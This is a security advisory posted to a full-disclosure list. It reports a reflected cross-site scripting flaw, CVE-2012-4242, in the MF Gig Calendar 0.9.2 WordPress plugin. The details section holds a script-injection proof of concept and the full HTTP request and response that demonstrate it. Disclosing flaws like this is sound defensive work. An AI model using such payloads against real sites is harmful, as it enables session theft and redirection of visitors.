[Full-disclosure] MF Gig Calendar Wordpress Plugin - Cross-Site Scripting

["Joseph Sheridan" <joe@xxxxxxxxxxxxxx>]

/---------------------------------------------------------\
| MF Gig Calendar Wordpress Plugin - Cross-Site Scripting |
\---------------------------------------------------------/


Summary
=======

MF Gig Calendar 0.9.2 is subject to a cross-site scripting vulnerability. The 
value of a generic parameter was not sufficiently sanitised before being 
written to the calendar page. An attacker could distribute a malicious URL that 
would trigger this vulnerability and potentially steal session cookies, 
redirect the user to a malicious URL or download malware onto their machine.

CVE number: CVE-2012-4242
Impact: Medium
Vendor homepage: http://wordpress.org/extend/plugins/mf-gig-calendar/
Vendor notified: 20/07/2012, 07/08/2012
Vendor response: No reply was received from the author
Credit: Chris Cooper and Joseph Sheridan of ReactionIS 
(http://www.reactionis.co.uk/)

This advisory is posted at:

http://www.reactionpenetrationtesting.co.uk/mf-gig-calendar-xss.html


Affected Products
======== ========

MF Gig Calendar 0.9.2. Other versions may be affected.


Details
=======

A generic parameter on the calendar page was found to be subject to a 
cross-site scripting vulnerability. It was possible to inject arbitrary 
Javascript into the URL as an additional parameter (following an '&'). This 
code is then passed into an anchor href parameter without sanitisation, and 
executed by the browser.

Injecting the following Javascript code into a generic parameter on the 
calendar page will trigger the vulnerability, causing the page to return a 
Javascript alert box.

"><script>alert('xsstest')</script>

---
Example 1 Request:
+-----------------

GET /wp/?page_id=2&"><script>alert('xsstest')</script> HTTP/1.1
Host: 192.168.0.6
Referer: http://192.168.0.6/wp/?page_id=2&ytd=2012
Cookie: wordpress_test_cookie=WP+Cookie+check; 
wp-settings-1=hidetb%3D1%26editor%3Dtinymce; wp-settings-time-1=1342447051; 
PHPSESSID=ls61d5ov9vugrfhgu45urh4n55

---
Example 1 Response:
+------------------

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2012 09:00:14 GMT
Server: Apache
X-Powered-By: PHP/5.3.8
X-Pingback: http://192.168.0.6/wp/xmlrpc.php
Content-Length: 6835
Content-Type: text/html; charset=UTF-8

--- SNIP ---
        <div class="entry-content">
                <h2>Upcoming Events</h2><div 
id="cal_nav"><strong>Upcoming</strong> | Archive: <a 
href="?page_id=2&"><script>alert('xsstest')</script>=&ytd=2012">2012</a> 
</div><ul id="cal">
--- SNIP ---


Impact
======

An attacker might entice users to follow a malicious URL, causing Javascript 
code to execute in their browser, potentially stealing session cookies, 
redirecting the user to a malicious URL or downloading malware onto their 
machine.


Solution
========

At the time of writing, no patch has been released by the vendor.


Distribution
============

In addition to posting on the website, a text version of this notice has been 
posted to the following e-mail and Usenet news recipients.

* bugtraq () securityfocus com
* full-disclosure () lists grok org uk

Future updates of this advisory, if any, will be placed on the ReactionIS 
corporate website, but may or may not be actively announced on mailing lists or 
newsgroups. Users concerned about this problem are encouraged to check the URL 
below for any updates:


http://www.reactionpenetrationtesting.co.uk/mf-gig-calendar-xss.html

==============================================================================

Reaction Information Security 
Lombard House Business Centre,
Suite 117,
12-17 Upper Bridge Street,
Canterbury, Kent, CT1 2NF

Phone: +44 (0)1227 785050
Email: research () reactionis {dot} co {dot} uk
Web: http://www.reactionpenetrationtesting.co.uk


Joseph Sheridan
Director
CHECK Team Leader, CREST Infrastructure, CREST Application, CISSP
Tel: 07812052515
Web: www.reactionis.com
Email: joe@xxxxxxxxxxxxxxxx

Reaction Information Security Limited.
Registered in England No: 6929383
Registered Office: 1, The Mews, 69 New Dover Road, Canterbury, CT1 3DZ
 
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